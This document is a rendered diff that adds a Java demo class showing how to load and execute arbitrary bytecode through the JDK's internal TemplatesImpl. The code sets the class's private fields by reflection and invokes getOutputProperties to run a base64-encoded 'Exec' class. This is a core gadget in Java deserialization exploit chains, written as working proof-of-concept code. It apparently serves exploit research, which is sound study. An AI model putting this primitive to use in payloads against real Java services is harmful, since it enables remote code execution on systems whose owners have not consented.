|
| 1 | +package org.example; |
| 2 | + |
| 3 | +import org.tools.ClassFiles; |
| 4 | +import org.tools.encryption.B64; |
| 5 | + |
| 6 | +import java.io.Serializable; |
| 7 | +import java.lang.reflect.Method; |
| 8 | + |
| 9 | +/** |
| 10 | + * @author Whoopsunix |
| 11 | + */ |
| 12 | +public class TransletClassLoaderDemo { |
| 13 | + public static void main(String[] args) throws Exception { |
| 14 | + String b64Str = new B64().encodeJavaClass(Exec.class); |
| 15 | + defineClass_TemplatesImpl(b64Str); |
| 16 | + } |
| 17 | + |
| 18 | + public static class PPP implements Serializable { |
| 19 | + |
| 20 | + private static final long serialVersionUID = 8207363842866235160L; |
| 21 | + } |
| 22 | + |
| 23 | + // com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl |
| 24 | + public static void defineClass_TemplatesImpl(String calcBase64) throws Exception { |
| 25 | + byte[] bytes = java.util.Base64.getDecoder().decode(calcBase64); |
| 26 | + com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(); |
| 27 | + java.lang.reflect.Field field = templates.getClass().getDeclaredField("_bytecodes"); |
| 28 | + field.setAccessible(true); |
| 29 | + field.set(templates, new byte[][]{bytes, ClassFiles.classAsBytes(PPP.class)}); |
| 30 | + field = templates.getClass().getDeclaredField("_name"); |
| 31 | + field.setAccessible(true); |
| 32 | + field.set(templates, "anystr"); |
| 33 | + field = templates.getClass().getDeclaredField("_transletIndex"); |
| 34 | + field.setAccessible(true); |
| 35 | + field.set(templates, 0); |
| 36 | + field = templates.getClass().getDeclaredField("_tfactory"); |
| 37 | + field.setAccessible(true); |
| 38 | + field.set(templates, new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl()); |
| 39 | + |
| 40 | + Method method = templates.getClass().getDeclaredMethod("getOutputProperties"); |
| 41 | +// Method method = templates.getClass().getDeclaredMethod("getTransletInstance"); |
| 42 | + method.setAccessible(true); |
| 43 | + method.invoke(templates, null); |
| 44 | + |
| 45 | +// templates.newTransformer(); |
| 46 | + } |
| 47 | +} |
0 commit comments